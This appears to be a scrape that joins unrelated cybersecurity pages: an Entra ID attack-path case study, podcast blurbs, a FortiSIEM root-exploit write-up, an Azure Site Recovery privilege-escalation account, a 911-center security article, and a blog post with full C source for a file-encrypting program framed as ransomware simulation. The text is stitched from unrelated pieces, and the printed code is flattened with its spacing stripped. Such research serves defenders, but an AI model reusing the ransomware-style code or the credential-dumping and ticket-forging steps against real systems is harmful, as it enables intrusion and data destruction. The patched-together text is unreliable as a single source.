Horizon3.ai, a leader in autonomous security solutions, is pleased to announce the appointments of Erick Dean as Vice President of Product Management and Drew Mullen as Vice President of Revenue Operations. These key executive hires underscore the management team Horizon3.ai continues to build, fueling significant growth.
As enterprises continue to transition on-premises infrastructure and information systems to the cloud, hybrid cloud systems have emerged as a vital solution, balancing the benefits of both environments to optimize performance, scalability, and ease of change on users and administrators. However, there can berisks involved when connecting a misconfigured or ill-protected network to cloud services. Particularly, Microsoft Active Directory environments that are compromised could lead to a full compromise of a synchronized Microsoft Entra ID tenant. Once this critical IAM platform is breached all integrity and trust of connected services is lost.Β Β
MS Entra ID and Hybrid ConfigurationsΒ
Formally known as AzureAD, Entra ID is Microsoftβs cloud-based Identity and Access Management (IAM) solution that is integrated with several Microsoft products and services β including Azure cloud resources, Office 365, and any third-party applications integrated to use the platform for identity management. To capitalize on the dominance of Active Directory (AD) for on-premises domain management and ease the transition of enterprises to cloud services, Microsoft designed Entra ID to integrate seamlessly with existing AD infrastructure using a dedicated on-premises application called MS Entra Connect (formally known as AzureAD Connect). This setup allows users to access the on-premises domain and cloud services/resources using the same credentials. Β
In the most common hybrid setup, known as Password Hash Synchronization (PHS), the Entra Connect application has highly-privileged access to both the AD and Entra environments to synchronize authentication material between the two. If an attacker breaches the Entra Connect server, they have potential paths to compromising both environments. Additionally, Entra Connect has a feature known as Seamless SSO that, when enabled, allows for password-less authentication to Microsoft cloud services, like Office 365, by utilizing the Kerberos authentication protocol. Β
A Real-World ExampleΒ
A client conducted an assumed-breach internal pentest using NodeZero. NodeZero was given no prior knowledge of the clientβs Entra ID account or hybrid setup. Β
Initial Access to Domain Compromise
In this example case, NodeZero:Β
NodeZero poisoned NBT-NS traffic from Host 1 to relay a netNTLM credential to Host 2Β β a SMB server with signing not required. Β
NodeZero remotely dumped SAM on Host 2 and discovered a Local Administrator Credential that was reused on several other hosts (Host 3 and Host 4). Β
Domain Compromise #1 β Utilizing the shared local administrator credential, NodeZero was able to run the NodeZero RAT on Host 3 and perform an LSASS dump. Interestingly, the Machine Account for Host 3 (HOST3$), captured in the LSASS dump, was a Domain Administrator! Β
Domain Compromise #2 β On Host 4, NodeZero used the shared local administrator credential to remotely dump LSA and discovered a second Domain Administrator credential (Admin2)!
Domain Compromise to Entra Tenant Compromise
Using Admin2βs credentials, NodeZero queried AD using the LDAP protocol and determined the domain was synchronized to an Entra ID tenant using Entra Connect installed on a Domain Controller (DC1). Exploiting three different credential dumping weaknesses (LSA Dumping, DPAPI dumping, and Entra Connect Dumping) NodeZero was able to harvest the cloud credential for Entra Connect (Sync_*). Β
Using HOST3$βs credentials, NodeZero performed an NTDS dump on another Domain Controller (DC2) and discovered the credential for the AZUREADSSOACC$ service account. This credential is utilized to sign Kerberos tickets for Azure cloud services when Seamless SSO is enabled.Β
NodeZero successfully logged into the clientβs Entra tenant using Entra Connectβs credential and obtained a Refresh Token β enabling easier long-term access.Β
Using Entra Connectβs Refresh Token, NodeZero collected and analyzed AzureHound data and determined an on-premises user (EntraAdmin) was a Global Administrator within the Entra Tenant. Β
Armed with this knowledge, NodeZero performed a Silver Ticket Attack β using the credential for AZUREADSSOACC$, NodeZero forged a valid Kerberos Service Ticket.Β
Using the Kerberos ticket for EntraAdmin, NodeZero successfully authenticated to the Microsoft Graph cloud service, without being prompted for MFA, and verified its new Global Administrator privileges. Β
It took NodeZero an hour to compromise the on-premises AD domain, and just shy of 2 hours to fully compromise the associated Entra ID tenant. Β
Key Takeaways and MitigationsΒ
The attack path above was enabled by several common on-premises misconfigurations that when combined not only compromised the AD domain, but the Entra ID tenant as well. Key findings include:Β
Β Prevent NTLM Relay. Β NodeZero gained initial access to the domain via NTLM Relay; enabled by the insecure NBT-NS protocol and failure to enforce SMB Signing. Disabling NBT-NS and enforcing SMB Signing may have prevented NodeZero from utilizing the relay for initial access β but other vectors for initial domain access existed within the pentest.Β
Use LAPS. Β The clientβs reuse of credentials for Local Administrators enabled key lateral movements that lead to the discovery of Domain Administrator credentials.Β
Treat Entra Connect as a Tier-0 resource. Given the valuable nature of Entra Connectβs credentials, Horizon3.ai recommends installing Entra Connect on a non-DC server (with LAPS enabled) and adequately protected with an EDR solution. Β
Avoid using on-premises accounts for Entra Administrator Roles. Follow Microsoftβs recommendations for limiting the number of Entra Administrators and their level of privilege. Β
Sign up for a free trial and quickly verify youβre not exploitable.
Mark Toussaint of OPSWAT joins to talk about his work in securing operational technology, and specifically about his role as product manager. This is an under-discussed job role within security, and requires great technical expertise, intercommunication skills and the ability to carry out long term campaigns on a product from, as he put it, initial brainstorming scribblings on a cocktail napkin through the creation of the product, all the way to its eventual retirement. Learn what it takes to connect security engineering, solutions experts, project management, and more in the role of security product manager, and how OT security connects fast, flexible IT and cybersecurity with systems that, as Toussaint put it, might be put in place and unmodified for 15 or 20 years. Itβs not that hard to connect the worlds, but it takes a specific skill set.
0:00 - Working in operational technology 1:49 - First getting into cybersecurity and tech 3:14 - Mark Toussaintβs career trajectory 5:15 - Average day as a senior product manager in OPSWAT 7:40 - Challenges in operational technology 9:11 - Effective strategist for securing OT systems 11:18 - Common attack vectors in OT security 13:41 - Skills needed to work in OT security 16:37 - Backgrounds people in OT have 17:28 - Favorite parts of OT work 19:47 - How to get OT experience as a new industry worker 21:58 - Best cybersecurity career advice 22:56 - What is OPSWAT 25:29 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
I dedicate this book to my wife, Laura, my son, Yerzhan, and my little princess, Munira, and I thank them for their inspiration, support, and patience.
I know that many of my readers have been waiting for this book for a long time, and many of us understand that perhaps I could not give comprehensive and exhaustive information on how to develop malware, but I am trying to my best for sharing my knowledge with community.
If you want to learn more about any area of science or technology, you will have to do your own research and work. There isnβt a single book that will answer all of your questions about the things that interest you.
I would be glad to receive feedback and am ready for dialogue. There will be many posts about the book in the near future as it is about to be published.
I thank the entire team at Packt without whom this book would look different.
I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.
In early 2023, given some early success in auditing Fortinet appliances, I continued the effort and landed upon the Fortinet FortiSIEM. Several issues were discovered during this audit that ultimately lead to unauthenticated remote code execution in the context of the root user. The vulnerabilities were assigned CVE-2023-34992 with a CVSS3.0 score of 10.0 given that the access allowed reading of secrets for integrated systems, allowing for pivoting into those systems.
FortiSIEM Overview
The FortiSIEM allows customers to do many of the expected functions of a typical SIEM solution such as log collection, correlation, automated response, and remediation. It also allows for simple and complex deployments ranging from a standalone appliance to scaled out solutions for enterprises and MSPs.
In a FortiSIEM deployment, there are four types of roles that a system can have:
β Supervisor β for smaller deployments this is all thatβs needed, and supervises other roles
β Worker β handles all the data coming from Collectors in larger environments
β Collector β used to scale data collection from various geographically separated network
environments, potentially behind firewalls
β Manager β can be used to monitor and manage multiple FortiSIEM instances
For the purposes of this research, I deployed an all-in-one architecture where the appliance contains all of the functionality within the Supervisor role. For more information about FortiSIEM key concepts refer to the documentation.
Exploring the System
One of the first things we do when auditing an appliance is to inspect the listening services given you have some time of shell access. Starting with the most obvious service, the web service, we see that it listens of tcp/443 and the proxy configuration routes traffic to an internal service listening on tcp/8080.
We find that the backend web service is deployed via Glassfish, a Java framework similar to Tomcat in that it provides a simple way to deploy Java applications as WAR files. We find the WAR file that backs the service, unpack it, and decompile it. Inspecting some of the unauthenticated attack surface, we happen upon the LicenseUploadServlet.class.
We follow the code into this.notify(), where we eventually observe it calling sendCommand(), which interestingly sends a custom binary message with our input to the port tcp/7900.
Now that weβve identified a pretty interesting attack surface, letβs build a client to interact with it in the same way the web service does. The message format is a pretty simple combination of:
Command Type β The integer enum mapped to specific function handlers inside the phMonitor service
Payload Length β The length of the payload in the message
Send ID β An arbitrary integer value passed in the message
Sequence ID β The sequence number of this message
Payload β The specific data the function handler within phMonitor will operate on
Constructing the LicenseUpload message in little-endian format and sending it over an SSL wrapped socket will succeed in communicating with the service. Re-implementing the client messaging protocol in Python looks like the following:
As a test that the client works, we send a command type of 29, mapped to handleProvisionServer, and can observe in the logs located at /opt/phoenix/log/phoenix.log that the message was delivered.
The phMonitor service marshals incoming requests to their appropriate function handlers based on the type of command sent in the API request. Each handler processes the sent payload data in their own ways, some expecting formatted strings, some expecting XML.
Inside phMonitor, at the function phMonitorProcess::initEventHandler(), every command handler is mapped to an integer, which is passed in the command message. Security Issue #1 is that all of these handlers are exposed and available for any remote client to invoke without any authentication. There are several dozen handlers exposed in initEventHandler(), exposing much of the administrative functionality of the appliance ranging from getting and setting Collector passwords, getting and setting service passwords, initiating reverse SSH tunnels with remote collectors, and much more.
Given the vast amount of attack surface available unauthenticated within the phMonitor service, we begin with the easiest vulnerability classes. Tracing the calls between these handlers and calls to system() we land of the handler handleStorageRequest(), mapped to command type 81. On line 201, the handler expects the payload to be XML data and parses it.
Our proof of concept exploit can be found on our GitHub.
Indicators of Compromise
The logs in /opt/phoenix/logs/phoenix.logs verbosely log the contents of messages received for the phMonitor service. Below is an example log when exploiting the system:
In this webinar. Horizon3.ai cybersecurity expert Brad Hong covers our new Rapid Response service, including:
β How this service enables you to preemptively defend against high-profile threats
β How our Attack Team develops its tailored threat intelligence for NodeZero users
β Best practices for monitoring the progress of nascent threats and getting ahead of mass exploitation
Today on Cyber Work, weβre talking about last Septemberβs breach of the MGM Grand Casino chain, an attack that lead to a week of tech failure, downtime and over a hundred million dollars in lost revenue. The attackers were able to get in via a point that my guest, Aaron Painter of Nametag Inc, said is a common point of failure: the request for a password and credential reset from the helpdesk, and the ever-frustrating βsecurity questionsβ approach to making sure you are who you are. Nametag is built to create an alternative to security questions and go beyond MFA to create a method of verification that is even resistant to AI Deepfake attempts!Β
This conversation goes into lots of interesting spaces, including career mapping, the importance of diverse design teams and the benefits of security awareness training, plus you get to learn about an amazing piece of emergent tech!
0:00 - A new method of online verification 3:15 - First getting into cybersecurity and computers 7:03 - Aaron Painter's work experiencesΒ 10:37 - Learning cybersecurity around the world 11:32 - Starting Nametag 16:25 - Average work week as Nametag CEO 19:10 - Cybersecurity learning methods 21:15 - The MGM cyberattack explained 26:07 - MGM fail safes bad actors surpassedΒ 29:26 - Security awareness trainingΒ 31:35 - Are data breaches the new normal 34:05 - How Nametag safeguards online data 37:59 - AI deepfakesΒ 40:19 - Using Nametag 42:20 - How to learn AI deep fake defense 44:14 - Design choices in digital identityΒ 45:54 - Different backgrounds in cybersecurityΒ 46:59 - Aaron Painter's favorite part of his work 48:01 - Best cybersecurity career advice 49:00 - Learn more about Nametag 50:06 - Outro
β Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free β View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Adversary Academy recently completed a long-term red team (assume breach) assessment for a large restaurant franchise. While performing the assessment an Azure Site Recovery server was found to be an attractive target in the environment. Part of our service offering is our targeted vulnerability research (TVR) program. The challenge Iβve seen with most pentest or redteam providers is that there is typically a lack of vulnerability and exploit research capabilities. Meaning if there are not known vulnerabilities with public exploit code affecting a network or environment the pentest provider can't find exploitable systems. Pentest providers typically lack full-time exploit and vulnerability development capabilities. In order to address that issue we run a program that allows our researchers to spend time attacking interesting systems theyβve encountered on customer networks, long after the engagement is overβ¦ or in this case during an engagement.
Typically on a penetration test a tester's βspidey sensesβ will go off at some point when you encounter a system that just feels vulnerable, or impactful if it were to be vulnerable. Our spidey senses went off when we gained access to an Azure Site Recovery (ASR) server because there appeared to be a large number of services communicating both inbound and outbound to the server as well as traffic to the customer's Azure environment. Documentation revealed that when fully deployed ASR has rights to read and write virtual machines from on-site VMware or Hyper-v systems and upload them to the Azure cloud for cloud-to-cloud disaster recovery.
While performing the engagement the research phase began immediately and we discovered a number of interesting bugs on the SRM server after we gained access toΒ it.
Beginning our research we found that Azure SRM is site disaster recovery for one Azure region to another region or physical to theΒ cloud.
SRM can replicate on-premises hypervisors VMware, Hyper-V, physical servers (Windows and Linux), or Azure Stacks to AzureΒ sites.
Basically, Microsoft said, βWe will support anything other than AWS orΒ GCP!β
As we started our research we found roughly 20 previous CVEs affecting Microsoft Azure SRM, most were EoP and most were found in 2022. Hopefully, we could find something new.
Our research mindset typically includes mapping out application behaviors and what could go wrong with misconfigurations, logic flaws, or historically problematic issues (in this caseΒ EoP).
We started by reviewing features, capabilities, and processes in Azure SRM and foundΒ that:
the SRM process and config server runs a web server listening for replication events to the backup server on portΒ 9443
Process server must have permission to read all properties from all systems being backedΒ up
Process server must have the ability to read/write to Azure for synchronization, and deployment ofΒ agent
SRM server connects to clients via WMI/ credentials stored in theΒ DB
This WMI connection deploys the SRM mobility agent responsible for the agent to serverΒ comms.
Once this behavior was documented we decided that the web server privileges might be important, and the WMI credentials stored in the local database were definitely valuable targets to begin attacking.
Reviewing files accessed on startup by the services showed us that a config file named amethyst is read on startup. Here was the first bug weΒ found.
The amethyst config file contains the plaintext mysql DB root username and password, this allows us to interact with the local database asΒ root.
Connecting to the mysql database we began to debug and monitor the mysql queries that were executed by the server. Here we found our attackΒ target.
We found php code responsible for executing the query that decrypts and uses the credentials we want access to. The first roadblock encountered is that we are not able to read the Encryption.key file as a standardΒ user.
After some research and failed attempts, we found a Solution!
If the process responsible for handling the php / mysql queries has access to the key, we must become theΒ process.
As our standard user account on the server, we donβt have the SeImpersonatePrivilege, we don't have an admin account on the server either. So we needed to find a bug affecting the webΒ server.
Further research allowed us to find a directory on the server where the web server / php code isnβt properly secured. We can write a webshell to this directory and βbecomeβ the web serverΒ process.
The web services are running as IUSR which DOES have the SeImpersonatePrivilege
We then can use SEImpersonatePrivilege to read the encryption.key
The final challenge was overcoming some weird character-handling behavior by MySQL which can't handle the characters in the encryption.key inline, so store it as a variable to use the key and decrypt the admin credentials.
After discovering the bugs and disclosing the credentials used by SRM the team was able to access the Vsphere environment, took snapshots of the domain controllers, and performed offline attacks to recover Enterprise and Domain admin access. After exploiting the issues we reported the vulnerability to Microsoft and received recognition for CVE-2024β21364 with a patch becoming available several monthsΒ later.
The next piece of code implemented file encryption and decryption logic via previous functions:
voidencrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// calculate the padding sizesize_tpaddingSize=(A51_BLOCK_SIZE-(fileSize.LowPart%A51_BLOCK_SIZE))%A51_BLOCK_SIZE;// pad the file datasize_tpaddedSize=fileSize.LowPart+paddingSize;unsignedchar*paddedData=(unsignedchar*)malloc(paddedSize);memcpy(paddedData,fileData,fileSize.LowPart);memset(paddedData+fileSize.LowPart,static_cast<char>(paddingSize),paddingSize);// encrypt the padded datafor(size_ti=0;i<paddedSize;i+=A51_BLOCK_SIZE){a5_1_encrypt(keyData,A51_KEY_SIZE,paddedData+i,A51_BLOCK_SIZE,paddedData+i);}// write the encrypted data to the output fileDWORDbw;WriteFile(ofh,paddedData,paddedSize,&bw,NULL);printf("a5/1 encryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(paddedData);}voiddecrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// decrypt the file data using A5/1 encryptionfor(DWORDi=0;i<fileSize.LowPart;i+=A51_BLOCK_SIZE){a5_1_decrypt(keyData,A51_KEY_SIZE,fileData+i,A51_BLOCK_SIZE,fileData+i);}// calculate the padding sizesize_tpaddingSize=fileData[fileSize.LowPart-1];// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){size_toriginalSize=fileSize.LowPart-paddingSize;unsignedchar*originalData=(unsignedchar*)malloc(originalSize);memcpy(originalData,fileData,originalSize);// write the decrypted data to the output fileDWORDbw;WriteFile(ofh,originalData,originalSize,&bw,NULL);printf("a5/1 decryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(originalData);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);CloseHandle(ifh);CloseHandle(ofh);free(fileData);}}
As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8) bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:
voidadd_padding(HANDLEfh){LARGE_INTEGERfs;GetFileSizeEx(fh,&fs);size_tpaddingS=A51_BLOCK_SIZE-(fs.QuadPart%A51_BLOCK_SIZE);if(paddingS!=A51_BLOCK_SIZE){SetFilePointer(fh,0,NULL,FILE_END);for(size_ti=0;i<paddingS;++i){charpaddingB=static_cast<char>(paddingS);WriteFile(fh,&paddingB,1,NULL,NULL);}}}voidremove_padding(HANDLEfileHandle){LARGE_INTEGERfileSize;GetFileSizeEx(fileHandle,&fileSize);// determine the padding sizeDWORDpaddingSize;SetFilePointer(fileHandle,-1,NULL,FILE_END);ReadFile(fileHandle,&paddingSize,1,NULL,NULL);// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){// seek back to the beginning of the paddingSetFilePointer(fileHandle,-paddingSize,NULL,FILE_END);// read and validate the entire paddingBYTE*padding=(BYTE*)malloc(paddingSize);DWORDbytesRead;if(ReadFile(fileHandle,padding,paddingSize,&bytesRead,NULL)&&bytesRead==paddingSize){// check if the padding bytes are validfor(size_ti=0;i<paddingSize;++i){if(padding[i]!=static_cast<char>(paddingSize)){// invalid padding, print an error message or handle it accordinglyprintf("invalid padding found in the file.\n");free(padding);return;}}// truncate the file at the position of the last complete blockSetEndOfFile(fileHandle);}else{// error reading the padding bytes, print an error message or handle it accordinglyprintf("error reading padding bytes from the file.\n");}free(padding);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);}}
The full source code is looks like this hack.c:
/*
* hack.c
* encrypt/decrypt file via GSM A5/1 algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<windows.h>#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))
#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8
voida5_1_encrypt(unsignedchar*key,intkey_len,unsignedchar*msg,intmsg_len,unsignedchar*out){// initializationunsignedintR1=0,R2=0,R3=0;for(inti=0;i<64;i++){intfeedback=((key[i%key_len]>>(i/8))&1)^((R1>>18)&1)^((R2>>21)&1)^((R3>>22)&1);R1=(R1<<1)|feedback;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}// encryptionfor(inti=0;i<msg_len;i++){intfeedback=A5_STEP((R1>>8)&1,(R2>>10)&1,(R3>>10)&1);unsignedcharkey_byte=0;for(intj=0;j<8;j++){intbit=A5_STEP((R1>>18)&1,(R2>>21)&1,(R3>>22)&1)^feedback;key_byte|=bit<<j;R1=(R1<<1)|bit;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}out[i]=msg[i]^key_byte;}}voida5_1_decrypt(unsignedchar*key,intkey_len,unsignedchar*cipher,intcipher_len,unsignedchar*out){// initializationunsignedintR1=0,R2=0,R3=0;for(inti=0;i<64;i++){intfeedback=((key[i%key_len]>>(i/8))&1)^((R1>>18)&1)^((R2>>21)&1)^((R3>>22)&1);R1=(R1<<1)|feedback;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}// decryptionfor(inti=0;i<cipher_len;i++){intfeedback=A5_STEP((R1>>8)&1,(R2>>10)&1,(R3>>10)&1);unsignedcharkey_byte=0;for(intj=0;j<8;j++){intbit=A5_STEP((R1>>18)&1,(R2>>21)&1,(R3>>22)&1)^feedback;key_byte|=bit<<j;R1=(R1<<1)|bit;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}out[i]=cipher[i]^key_byte;}}voidadd_padding(HANDLEfh){LARGE_INTEGERfs;GetFileSizeEx(fh,&fs);size_tpaddingS=A51_BLOCK_SIZE-(fs.QuadPart%A51_BLOCK_SIZE);if(paddingS!=A51_BLOCK_SIZE){SetFilePointer(fh,0,NULL,FILE_END);for(size_ti=0;i<paddingS;++i){charpaddingB=static_cast<char>(paddingS);WriteFile(fh,&paddingB,1,NULL,NULL);}}}voidremove_padding(HANDLEfileHandle){LARGE_INTEGERfileSize;GetFileSizeEx(fileHandle,&fileSize);// determine the padding sizeDWORDpaddingSize;SetFilePointer(fileHandle,-1,NULL,FILE_END);ReadFile(fileHandle,&paddingSize,1,NULL,NULL);// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){// seek back to the beginning of the paddingSetFilePointer(fileHandle,-paddingSize,NULL,FILE_END);// read and validate the entire paddingBYTE*padding=(BYTE*)malloc(paddingSize);DWORDbytesRead;if(ReadFile(fileHandle,padding,paddingSize,&bytesRead,NULL)&&bytesRead==paddingSize){// check if the padding bytes are validfor(size_ti=0;i<paddingSize;++i){if(padding[i]!=static_cast<char>(paddingSize)){// invalid padding, print an error message or handle it accordinglyprintf("invalid padding found in the file.\n");free(padding);return;}}// truncate the file at the position of the last complete blockSetEndOfFile(fileHandle);}else{// error reading the padding bytes, print an error message or handle it accordinglyprintf("error reading padding bytes from the file.\n");}free(padding);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);}}voidencrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// calculate the padding sizesize_tpaddingSize=(A51_BLOCK_SIZE-(fileSize.LowPart%A51_BLOCK_SIZE))%A51_BLOCK_SIZE;// pad the file datasize_tpaddedSize=fileSize.LowPart+paddingSize;unsignedchar*paddedData=(unsignedchar*)malloc(paddedSize);memcpy(paddedData,fileData,fileSize.LowPart);memset(paddedData+fileSize.LowPart,static_cast<char>(paddingSize),paddingSize);// encrypt the padded datafor(size_ti=0;i<paddedSize;i+=A51_BLOCK_SIZE){a5_1_encrypt(keyData,A51_KEY_SIZE,paddedData+i,A51_BLOCK_SIZE,paddedData+i);}// write the encrypted data to the output fileDWORDbw;WriteFile(ofh,paddedData,paddedSize,&bw,NULL);printf("a5/1 encryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(paddedData);}voiddecrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// decrypt the file data using A5/1 encryptionfor(DWORDi=0;i<fileSize.LowPart;i+=A51_BLOCK_SIZE){a5_1_decrypt(keyData,A51_KEY_SIZE,fileData+i,A51_BLOCK_SIZE,fileData+i);}// calculate the padding sizesize_tpaddingSize=fileData[fileSize.LowPart-1];// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){size_toriginalSize=fileSize.LowPart-paddingSize;unsignedchar*originalData=(unsignedchar*)malloc(originalSize);memcpy(originalData,fileData,originalSize);// write the decrypted data to the output fileDWORDbw;WriteFile(ofh,originalData,originalSize,&bw,NULL);printf("a5/1 decryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(originalData);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);CloseHandle(ifh);CloseHandle(ofh);free(fileData);}}intmain(){constchar*inputFile="Z:\\test.txt";constchar*outputFile="Z:\\test.txt.a51";constchar*decryptedFile="Z:\\test.txt.a51.decrypted";constchar*key="\x6d\x65\x6f\x77\x6d\x65\x6f\x77";encrypt_file(inputFile,outputFile,key);decrypt_file(outputFile,decryptedFile,key);return0;}
As you can see, as usual, for test I just encrypt file test.txt and decrypt it.
cat test.txt
demo
Letβs see everything in action, compile our PoC code:
and letβs say we have a test.txt file in the Z:\\ path on the victimβs machine:
hexdump -C test.txt
Then just run our application on Windows 11 x64 machine:
.\hack.exe
Letβs check a decrypted and original files, for example via hexdump command:
hexdump -C test.txt.a51.decrypted
As you can see our simple PoC is worked perfectly.
I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.
Reading Time: 17minutes Kelvin Security and Spectre, investigating possible relationships Introduction The Yarix Cyber Threat Intelligence Team (YCTI) has conducted an investigation that has discovered a possible relationship between the threat actor Kelvin Security with another threat actor called Spectre. This relations was identified through the discovery and analysis of an indicator found within an Italian governmental leak [β¦]
Strengthening PSAP Defenses in an Evolving Threat Landscape
Cybersecurity is paramount for the public safety sector as it safeguards critical infrastructure, sensitive data, and communication systems vital for emergency response, law enforcement, and national security. In an increasingly interconnected world, where digital technologies infiltrate every aspect of society, vulnerabilities in these systems can be exploited by malicious actors to disrupt emergency services, compromise sensitive information, or even endanger lives. A robust cybersecurity posture not only protects against potential cyber threats and attacks but also ensures the confidentiality, integrity, and availability (CIA) of essential services, thereby upholding resilience of public safety systems.
Specifically, 911 call centers, also known as Public Safety Answering Points (PSAPs), frequently draw the attention of cyber threat actors because of their pivotal function in emergency response, making them attractive targets for disruption and ransomware attacks capable of incapacitating essential services. Additionally, the sensitive information stored within PSAP networks and systems, including Personal Identifiable Information (PII) and Personal Health Information (PHI), present lucrative opportunities for data theft and exploitation.
Intuitus: Manual Pentesting
Mission:
To make a big impact worldwide in thwarting ransomware and other cyberattacks by making sophisticated cyber defense solutions with human supervision affordable to organizations worldwide.
Year Founded: 2007
Number of Employees: >20
Operational Reach: Global
Threat Intelligence
In May 2023, a ransomware attack targeted the city of Dallas by the Royal Ransomware gang, leading to the shutdown of court systems and disruptions in 911 emergency services. The attack affected various city services, including the police departmentβs ability to access certain databases. The outage has also impacted Computer Aided Dispatch (CAD) systems, which are used by dispatchers and 911 operators to prioritize and record incident calls. While city officials assured that emergency calls were still being answered, the incident highlighted the significant impact cyberattacks can have on critical infrastructure and essential services.
In a recent interview with Brian Beckwith, Chief Technology Officer (CTO) at Intuitus, he explained that Intuitus βdeals primarily in helping 911 call centers (PSAPs), and who those call centers support, to make sure their environments are secure.β Intuitus, a full-service cybersecurity and consulting solution with a 24/7 Security Operations Center (SOC), is the leading voice in cybersecurity for 911/NG911 PSAP organizations worldwide. Additionally, they participate in industry organizations such as National Emergency Number Association (NENA), Association of Public-Safety Communications Officials (APCO) international, and other 911/NG911 PSAP community members.
βWhen there is a cyberattack on a PSAP, there is the potential for loss of life due to the caller not being able to get through to the 911 call center. Our job is to prevent that situation. We specialize in knowing the cyber threat actorβs tactics, techniques, and procedures (TTPs) so we can protect organizations from those things.β
More than just protecting communications
